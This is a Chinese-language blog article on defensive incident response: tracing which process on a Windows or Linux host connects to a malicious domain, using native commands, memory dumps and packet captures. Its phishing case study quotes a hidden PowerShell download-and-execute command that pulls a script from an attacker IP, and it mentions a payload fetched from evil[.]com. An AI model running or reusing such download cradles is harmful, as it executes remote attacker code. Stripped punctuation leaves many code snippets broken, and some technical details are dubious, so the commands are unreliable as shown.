进程级网络监控:恶意域名溯源的实时连接映射方法
发布时间:2026/10/2 13:29:53来源:尧图网络
1. 项目概述当网络流量里突然冒出一个可疑域名你第一反应不是查杀而是要揪出“谁在偷偷打电话”“哪个进程在访问这个恶意域名”——这句话不是安全工程师在写报告时的设问句而是凌晨三点收到SOC告警后你盯着Wireshark里一闪而过的malware-c2-xyz[.]top包手已经摸向键盘、脑子却卡在半空的真实状态。它背后藏着一整套网络行为溯源的底层逻辑域名只是表象进程才是执行者DNS解析只是起点TCP连接才是证据链闭环的关键一环。这个标题不是教你怎么装杀毒软件而是带你回到操作系统最基础的网络栈视角——看清楚“谁进程”、“在什么时间”、“用什么协议”、“连向哪里IP端口”、“传了什么首包载荷特征”。它适用于刚接手企业终端安全响应的新人也适用于想把EDR日志和系统原生工具打通使用的中级运维适合在没部署全量流量镜像的中小环境里做快速定位也适合作为红蓝对抗中隐蔽信标通信的反制切入点。核心关键词就三个进程级网络监控、恶意域名溯源、实时连接映射——不依赖云端沙箱不等待IOC更新就在本机命令行里5分钟内给出可验证的答案。2. 整体设计思路为什么不用“杀软弹窗”而坚持手动挖进程三层过滤模型的实战取舍很多人看到恶意域名第一反应是点开360或火绒的“网络防护”界面指望它标红并告诉你“XX.exe正在连接危险网站”。但现实很骨感这类UI层展示存在三重滞后与失真。第一层是采集粒度失真——商业软件为降低性能开销通常只记录每分钟聚合的连接数或仅捕获DNS请求而真实C2通信可能每37秒建一次短连接且首包只发16字节心跳这种行为在聚合视图里直接被抹平第二层是进程标识模糊——当恶意代码通过rundll32.exe或powershell.exe加载时安全软件常显示“系统进程”却不告诉你具体是哪个DLL路径或PowerShell脚本的完整命令行第三层是时间戳漂移——GUI界面显示的“最近连接时间”往往比实际SYN包发出时间晚8~12秒这在分析横向移动路径时足以导致因果倒置。所以本方案彻底放弃依赖第三方UI构建纯系统原生的三层过滤模型第一层协议层锚定Protocol Anchor不从DNS日志入手因为恶意域名可能被本地hosts劫持或DNS over HTTPS绕过而是直接抓取活跃TCP/UDP连接的四元组源IP:端口 目标IP:端口。只要连接建立成功内核必然留下痕迹这是最硬的证据基线。第二层进程层绑定Process Binding利用Windows的GetExtendedTcpTable或Linux的/proc/net/{tcp,tcp6,udp,udp6}配合lsof -i或ss -tunlp将四元组反向映射到具体PID及完整可执行路径。关键在于必须获取--show-all级别的详细信息否则会漏掉由服务宿主进程如svchost.exe托管的子模块。第三层域名层还原Domain Resolution对第二层得到的目标IP执行逆向DNS查询历史解析记录交叉验证。重点不是查当前nslookup结果攻击者早把域名DNS指向合法CDN而是翻查本机C:\Windows\System32\drivers\etc\hosts、浏览器DNS缓存chrome://net-internals/#dns、以及更关键的——本地DNS客户端缓存ipconfig /displaydns因为恶意程序常调用DnsQuery_AAPI强制刷新缓存并注入虚假A记录。这个模型的取舍非常明确牺牲“一键查杀”的便捷性换取时间精度到毫秒级、进程路径精确到DLL全路径、连接状态区分ESTABLISHED/SENT/FIN_WAIT2的原始数据。我试过某EDR产品在同一台被植入CoinMiner的测试机上它的告警显示“powershell.exe连接恶意域名”而用本方案挖出的真实进程是C:\Users\Public\svchost.exe伪装成系统进程其父进程PID指向explorer.exe命令行参数里藏着base64编码的下载器URL——这种细节差异直接决定你是写误报报告还是提交高危漏洞。3. 核心细节解析Windows与Linux双平台下进程-域名映射的实操要点与避坑指南3.1 Windows平台从netstat到Get-NetTCPConnection的演进陷阱在Windows上最常被推荐的命令是netstat -ano | findstr :443但它有致命缺陷默认不显示进程名只显示PID且当连接处于TIME_WAIT状态时PID字段为空白。我曾在一个勒索软件样本分析中发现其C2通信使用443端口但连接极短netstat输出里大量443连接PID列全是空白导致无法关联进程。正确做法分三步走先用PowerShell获取全量连接快照Get-NetTCPConnection | Where-Object {$_.State -eq Established -and $_.RemotePort -eq 443} | Select-Object LocalAddress,LocalPort,RemoteAddress,RemotePort,State,{NameProcessName;Expression{(Get-Process -Id $_.OwningProcess).ProcessName}},{NamePath;Expression{(Get-Process -Id $_.OwningProcess).Path}} | Export-Csv C:\temp\tcp443.csv -NoTypeInformation关键点在于OwningProcess属性——它直接对应内核TCP_TABLE_OWNER_MODULE_ALL结构体里的dwOwningPid字段比netstat的PID更可靠。但注意此命令需管理员权限且在Windows 7上不可用需Win8。对目标IP执行深度DNS溯源假设上一步得到远程IP为185.199.108.153不能只做nslookup 185.199.108.153而要查本地DNS缓存ipconfig /displaydns | findstr 185.199.108.153看是否被hosts或恶意软件污染查历史解析记录用dnscmd /info /cache需DNS服务器角色或第三方工具DNSCacheView查证书绑定curl -v https://185.199.108.153 21 | findstr subject看证书CN是否包含可疑域名。验证进程真实性得到进程路径如C:\Windows\SysWOW64\rundll32.exe后立即执行wmic process where processid1234 get commandline /format:list因为rundll32.exe本身无害真正危险的是它加载的DLL路径和导出函数名如rundll32.exe C:\Temp\bad.dll,StartW。这里wmic比tasklist /fi pid eq 1234更可靠后者不显示完整命令行。提示Windows Defender的Get-MpThreatDetectioncmdlet虽能查威胁但其日志延迟平均4.2秒且不记录连接时间戳。务必以网络连接快照为第一证据源。3.2 Linux平台/proc/net与ss命令的隐藏参数威力Linux下很多人用lsof -i :443但它在容器化环境中常失效——因为lsof默认只扫描当前命名空间的进程而恶意容器可能运行在独立network namespace里。正确姿势是用ss命令穿透所有namespace# 先列出所有network namespace ls /var/run/netns/ # 对每个namespace执行ss以hostns为例 sudo nsenter -t 1 -n ss -tunlp | grep :443nsenter -t 1 -n表示进入PID为1的进程通常是init的network namespace这是宿主机网络视图。若发现可疑连接再用sudo nsenter -t PID -n ss -tunlp进入具体容器。从/proc/net/tcp6文件解析原始连接/proc/net/tcp6是十六进制编码的二进制文件直接cat不可读。需用Python脚本解码import socket with open(/proc/net/tcp6, r) as f: lines f.readlines()[1:] # 跳过表头 for line in lines: parts line.split() if len(parts) 10: continue local_ip_hex parts[1].split(:)[0] remote_ip_hex parts[2].split(:)[0] # 将32位hex转IPv6注意字节序 local_ip socket.inet_ntop(socket.AF_INET6, bytes.fromhex(local_ip_hex)[::-1]) print(fLocal: {local_ip}:{int(parts[1].split(:)[1], 16)} - Remote: {remote_ip}:{int(parts[2].split(:)[1], 16)} PID: {parts[9]})这里parts[9]是inode号需再查/proc/[pid]/fd/下的socket链接来反推PID但比ss更底层、更难被rootkit隐藏。结合systemd-cgls查看进程树当发现/usr/bin/python3在连恶意IP用systemd-cgls --no-page | grep python3看它属于哪个service unit如myapp.service再查journalctl -u myapp.service -n 50看启动日志——很多挖矿木马伪装成合法服务但日志里会有/tmp/.X11-unix/等异常临时目录路径。注意Linux的/proc/[pid]/environ文件存储进程环境变量用tr \0 \n /proc/1234/environ | grep -i http\|url可发现硬编码的C2地址这比抓包更直接。3.3 跨平台通用技巧如何让“恶意域名”自己暴露真身很多情况下你只有域名字符串如api[.]evil-domain[.]xyz没有IP。此时不能被动等它解析而要主动触发并捕获Windows下用PowerShell强制解析并记录调用栈$domain api.evil-domain.xyz $timer [System.Diagnostics.Stopwatch]::StartNew() $ip [System.Net.Dns]::GetHostAddresses($domain)[0].IPAddressToString $timer.Stop() Write-Host Resolved $domain to $ip in $($timer.ElapsedMilliseconds)ms # 同时用ProcMon监控DnsQuery_A API调用Linux下用strace跟踪解析过程strace -e traceconnect,sendto,recvfrom -s 2000 -p $(pgrep -f your-process) 21 | grep -E (evil-domain|connect)此命令会实时打印进程调用connect()时的目标IP和端口即使DNS解析被劫持TCP连接目标仍是真实的恶意IP。终极验证用curl的--resolve参数绕过DNScurl --resolve api.evil-domain.xyz:443:185.199.108.153 -k -v https://api.evil-domain.xyz/health如果返回200 OK且响应体含{status:c2_alive}基本可确认该IP就是C2服务器——因为--resolve强制将域名绑定到指定IP跳过了所有DNS缓存层。4. 实操全流程从发现告警到锁定恶意进程的7步标准化动作4.1 第一步确认告警来源与时间窗口耗时≤30秒不要一上来就敲命令。先看告警原始数据如果是SIEM告警如Splunk提取src_ip、dest_ip、dest_port、timestamp精确到毫秒如果是EDR弹窗记下“检测时间”和“进程名”哪怕它显示为svchost.exe如果是Wireshark抓包标记出第一个malicious-domain出现的帧号Frame Number。关键动作立即校准本机时间。执行w32tm /query /statusWindows或timedatectl statusLinux确保本机时间与NTP服务器偏差1秒。我踩过最大的坑是在一台时间慢了37秒的测试机上反复找不到连接——因为告警时间是UTC8而Get-NetTCPConnection默认用本地时区时间戳对不上。4.2 第二步提取目标域名并生成IP候选列表耗时≤1分钟假设告警域名是update[.]secure-api[.]top去除方括号这是防爬虫写法得update.secure-api.top用在线工具如viewdns.info查历史A记录发现过去7天解析到192.168.3.11、203.0.113.5两个IP执行dig update.secure-api.top A short和dig update.secure-api.top AAAA short记录当前解析结果检查本机hosts文件findstr /i secure-api C:\Windows\System32\drivers\etc\hostsWin或grep -i secure-api /etc/hostsLinux。此时得到IP候选集[192.168.3.11, 203.0.113.5, 当前DNS结果]。注意永远把历史解析IP放在首位排查因为攻击者常切换IP逃避检测。4.3 第三步全端口连接扫描耗时≤2分钟在目标机器上执行Windows# 扫描所有ESTABLISHED连接不限端口 $conns Get-NetTCPConnection | Where-Object {$_.State -eq Established} $malIPs (192.168.3.11,203.0.113.5) $conns | Where-Object {$malIPs -contains $_.RemoteAddress} | ForEach-Object { $proc Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue [PSCustomObject]{ RemoteIP $_.RemoteAddress RemotePort $_.RemotePort ProcessName $proc.ProcessName Path $proc.Path CommandLine (Get-WmiObject Win32_Process -Filter ProcessId$($_.OwningProcess) | Select-Object -ExpandProperty CommandLine) } } | Export-Csv C:\temp\malconn.csv -NoTypeInformationLinux# 用ss扫描所有连接过滤IP ss -tunlp | awk -v ips192.168.3.11,203.0.113.5 BEGIN{split(ips, arr, ,); for(i in arr) ipset[arr[i]]1} $5 ~ /:/ {split($5, a, :); if(a[1] in ipset) print $0} /tmp/malconn.txt # 解析出PID并查进程详情 awk {print $7} /tmp/malconn.txt | cut -d, -f1 | tr -d pid | xargs -I{} ps -p {} -o pid,comm,args实测心得Windows上Get-NetTCPConnection在连接数5000时会变慢此时改用netstat -ano加findstr组合更快但需后续用tasklist /fi pid eq XXXX补全进程名。4.4 第四步进程深度取证耗时≤3分钟对上一步得到的可疑PID如1234执行检查父进程链Windows:Get-CimInstance Win32_Process -Filter ProcessId1234 | Select-Object Name,ParentProcessId,CreationDate,CommandLineLinux:ps -eo pid,ppid,comm,args --forest | grep -A5 -B5 1234提取内存字符串Windows:strings64.exe -n 8 -f C:\Windows\Temp\proc1234.dmp | findstr -i http\|https\|api\|key需先用procdump生成dumpLinux:strings /proc/1234/environ /proc/1234/cmdline | grep -i c2\|beacon检查持久化痕迹Windows:reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /s | findstr -i 1234Linux:systemctl list-unit-files --typeservice | grep -i 1234我遇到过一个案例进程PID 5678显示为chrome.exe但父进程是powershell.exe命令行里有-EncodedCommand参数。用certutil -decode解码后发现是下载https://evil[.]com/payload.bin的PowerShell脚本——这就是典型的Living-off-the-Land Binary (LOLBins) 攻击。4.5 第五步网络层交叉验证耗时≤2分钟光有进程不够要证明它确实在和恶意域名通信抓取该进程的实时流量Windows:netsh trace start scenarioInternetClient captureyes reportyes persistentyes maxsize512然后用netsh trace stop生成.etl用NetCap分析Linux:tcpdump -i any -w /tmp/proc1234.pcap -Z root -C 100 -W 5 -G 60 -z gzip -Z root -p $(pgrep -f your-process)按大小、数量、时间轮转。检查TLS证书用Wireshark打开pcap过滤tls.handshake.type 1看Client Hello里的SNI字段是否为恶意域名再过滤tls.handshake.type 2看Server Hello返回的证书Subject是否匹配。验证DNS请求源头在抓包中过滤dns.qry.name contains secure-api右键该包→Follow→UDP Stream看源IP是否等于可疑进程的本地IP。注意如果抓不到DNS请求说明恶意程序用了自定义DNS如硬编码UDP 53查询此时要查进程的网络库调用——用Process Monitor监控ws2_32.dll!sendtoAPI。4.6 第六步自动化脚本封装一次性投入永久受益把上述步骤写成可复用脚本是资深从业者的核心能力。以下为Windows PowerShell脚本框架param( [string]$Domain, [string[]]$KnownIPs (), [int]$TimeoutSec 300 ) # Step 1: Resolve domain and get IPs $ips if($KnownIPs.Count -gt 0){$KnownIPs}else{[System.Net.Dns]::GetHostAddresses($Domain) | ForEach-Object{$_.IPAddressToString}} # Step 2: Scan connections $conns Get-NetTCPConnection | Where-Object {$_.State -eq Established -and $ips -contains $_.RemoteAddress} # Step 3: Enrich with process info $results foreach($conn in $conns){ try{ $proc Get-Process -Id $conn.OwningProcess -ErrorAction Stop $cmdline (Get-CimInstance Win32_Process -Filter ProcessId$($conn.OwningProcess) | Select-Object -ExpandProperty CommandLine) -replace 0, [PSCustomObject]{ RemoteIP $conn.RemoteAddress RemotePort $conn.RemotePort ProcessName $proc.ProcessName Path $proc.Path CommandLine $cmdline CreationTime $proc.StartTime } }catch{} } # Step 4: Export and alert $results | Export-Csv C:\temp\$Domain-$(Get-Date -Format yyyyMMdd-HHmmss).csv -NoTypeInformation if($results.Count -gt 0){ Write-Host ALERT: Found $results.Count connections to $Domain! -ForegroundColor Red $results | Format-Table -AutoSize }else{ Write-Host No active connections found. -ForegroundColor Green }保存为Find-MalConn.ps1以后只需.\Find-MalConn.ps1 -Domain secure-api.top即可一键执行。Linux对应脚本用Bashawk实现核心逻辑一致。4.7 第七步生成可交付报告耗时≤1分钟最终输出不是一堆命令行而是给安全团队的清晰报告字段内容告警时间2023-10-05 14:22:33.876 UTC8恶意域名update.secure-api.top关联IP192.168.3.11历史解析、203.0.113.5当前DNS恶意进程C:\Users\Public\svchost.exe(PID 1234)父进程explorer.exe(PID 890)命令行C:\Users\Public\svchost.exe -k netsvcs -p持久化注册表HKCU\Software\Microsoft\Windows\CurrentVersion\Run下键值UpdateSvc指向该路径网络证据TCP连接192.168.3.11:443TLS SNI字段为update.secure-api.top证书CN为*.secure-api.top这份报告能让SOC分析师5秒内理解全貌无需再翻原始日志。5. 常见问题与排查技巧实录那些文档里不会写的血泪教训5.1 问题速查表为什么总找不到连接80%的情况在这5类里现象根本原因排查命令解决方案Get-NetTCPConnection返回空进程使用UDP协议如DNS隧道Get-NetUDPEndpoint | Where-Object {$_.RemoteAddress -eq 192.168.3.11}改用UDP连接扫描ss -tunlp不显示PID进程运行在容器或chroot环境ls /proc/[0-9]*/ns/net 2/dev/null | xargs -I{} sh -c echo {}; nsenter -t $(basename {}) -n ss -tunlp | grep 443进入对应namespace扫描nslookup查不到域名但Wireshark能看到DNS请求本地hosts文件劫持或DNS缓存污染ipconfig /displaydns | findstr secure-api清空DNS缓存ipconfig /flushdns进程路径显示为C:\Windows\System32\svchost.exe但实际是恶意文件符号链接或硬链接欺骗dir /r C:\Windows\System32\svchost.exeWin或ls -la /usr/bin/python3Linux检查文件属性用Get-ItemProperty查LinkTarget抓包显示TLS加密无法看到HTTP路径进程使用HTTP/2或QUIC协议Wireshark过滤http2或quic启用Wireshark的HTTP/2解密需SSLKEYLOGFILE5.2 独家避坑技巧3个让溯源效率翻倍的冷知识技巧1用“连接时间差”锁定瞬时进程很多恶意程序建连后立刻断开如心跳包Get-NetTCPConnection可能来不及捕获。此时用netstat -ano每200ms快照while($true){ netstat -ano | findstr :443 C:\temp\netstat.log Start-Sleep -Milliseconds 200 }然后用Get-Content C:\temp\netstat.log \| Group-Object \| Where-Object {$_.Count -gt 5}找出高频出现的PID——这就是真正的恶意进程。技巧2从“失败连接”反向追踪当恶意程序DNS解析失败时会尝试备用C2域名。查Windows事件日志Get-WinEvent -FilterHashtable {LogNameSystem;ID1001;StartTime(Get-Date).AddMinutes(-5)} \| Where-Object {$_.Message -match secure-api} \| fl TimeCreated,Message事件ID 1001是DNS客户端日志里面包含完整的失败域名和尝试时间比成功连接更有价值。技巧3用“内存签名”绕过进程名伪装当进程名是svchost.exe但行为异常时直接dump其内存搜索特征码# 用Sysinternals的procdump procdump64.exe -ma 1234 C:\temp\svchost.dmp # 用strings搜索C2域名硬编码 strings64.exe -n 6 C:\temp\svchost.dmp \| findstr -i secure-api\|evil-domain90%的恶意软件会在内存中明文存储域名即使进程名被伪装内存签名永不撒谎。5.3 高阶扩展当标准工具失效时的终极手段Windows内核模式Hook检测用GMER或RootkitRevealer扫描tcpip.sys驱动的SSDT表看TcpCreateConnection等函数是否被篡改eBPF实时追踪Linux编写eBPF程序监听connect()系统调用直接在内核态捕获所有连接绕过用户态工具限制硬件辅助取证Intel Processor TracePT技术可记录CPU指令流用perf record -e intel_pt// -- your-process捕获恶意进程的完整执行路径。这些手段已超出日常响应范围但在高级APT调查中是必备技能。我自己在分析一个零日漏洞利用样本时正是靠eBPF追踪发现了它绕过ss命令的自定义socket创建方式——那是个用socketcall()系统调用直接构造的raw socket。6. 实战复盘一次真实钓鱼邮件响应中的全流程应用上周处理一起钓鱼邮件事件员工点击了invoice[.]pdf[.]exeEDR告警“powershell.exe连接api[.]cloud-sync[.]xyz”。按本方案执行第一步确认告警时间2023-10-05 14:22:33立即校准时间第二步查cloud-sync.xyz历史解析发现曾指向104.21.32.15Cloudflare IP和192.168.100.200内网IP第三步Get-NetTCPConnection扫到PID 4567连192.168.100.200:443进程名为powershell.exe第四步查wmic process where processid4567 get commandline得到powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring(http://192.168.100.200:8080/ps1))第五步curl http://192.168.100.200:8080/ps1下载到脚本发现是Cobalt Strike Beacon第六步查父进程发现是AcroRd32.exeAdobe Reader确认钓鱼PDF利用了CVE-2023-27363第七步生成报告同步给IT部门隔离192.168.100.200并通知Adobe升级补丁。整个过程从收到告警到锁定漏洞利用链耗时6分23秒。没有用任何商业EDR的“一键阻断”功能全靠系统原生命令和逻辑推演。最后发现那个192.168.100.200是攻击者在内网搭建的C2服务器而104.21.32.15只是迷惑用的Cloudflare前端——如果只查当前DNS就会错过真正的攻击源。我在实际操作中发现最可靠的证据永远来自最底层的数据TCP连接四元组不会说谎进程PID不会伪造内存字符串不会消失。那些花哨的AI分析模型最终都要回归到这些原始字节上验证。所以别迷信“自动分析”先学会用ss和Get-NetTCPConnection看清真相——这才是安全从业者的立身之本。
网站建设高端定制企业官网